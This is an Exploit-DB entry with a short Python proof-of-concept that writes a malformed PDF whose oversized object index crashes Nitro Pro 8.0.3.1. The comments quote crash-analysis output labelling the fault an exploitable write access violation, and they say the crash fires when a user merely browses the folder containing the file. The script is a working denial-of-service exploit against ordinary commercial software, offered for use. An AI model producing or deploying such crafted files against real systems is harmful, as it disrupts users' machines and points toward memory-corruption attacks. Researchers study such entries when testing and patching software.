Nitro Pro 8.0.3.1 - Crash (PoC)

Author: John Cobb
type: dos
platform: windows
port: 
date_added: 2013-03-15  
date_updated: 2013-03-15  
verified: 1  
codes: OSVDB-91509  
tags:   
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt25000/screen-shot-2013-03-15-at-71934-pm.png  
application_url: http://www.exploit-db.comnitro_pdf_pro_32_dlm.exe  

raw file: 24788.py  

#!C:\Python27\python.exe

# Exploit Title: Nitro Pro 8.0.3.1 - DoS
# Date: 2012-10-07
# Exploit Author: John Cobb
# Author Homepage: www.NoBytes.com
# Vendor Homepage: www.nitropdf.com
# Version: 8.0.3.1
# Tested on: Win7 64bit
# CVE : None

# When the Object Index exceeds 10 characters the app crashes:
#
# !exploitable
# BUG_TITLE:Exploitable - User Mode Write AV starting at npdf!ProvideCoreHFT+0x000000000010886a (Hash=0x265b4f1d.0x020d4f2c)
# EXPLANATION:User mode write access violations that are not near NULL are exploitable.
#
# Bonus: App crashes when just browsing the folder which contains the PDF...
#

sPDFHeader      = "\x25\x50\x44\x46\x2D\x31\x2E\x32\x0D"
sPDFComment     = "\x25\xE2\xE3\xCF\xD3\x0A"
sPDFObjectIndex = "\x31" * 11 # The Crash
sPDFObject      = "\x20\x30\x20\x6F\x62\x6A"

payload = sPDFHeader + sPDFComment + sPDFObjectIndex + sPDFObject

f = open("exploit.pdf", 'w')
f.write(payload)
f.close()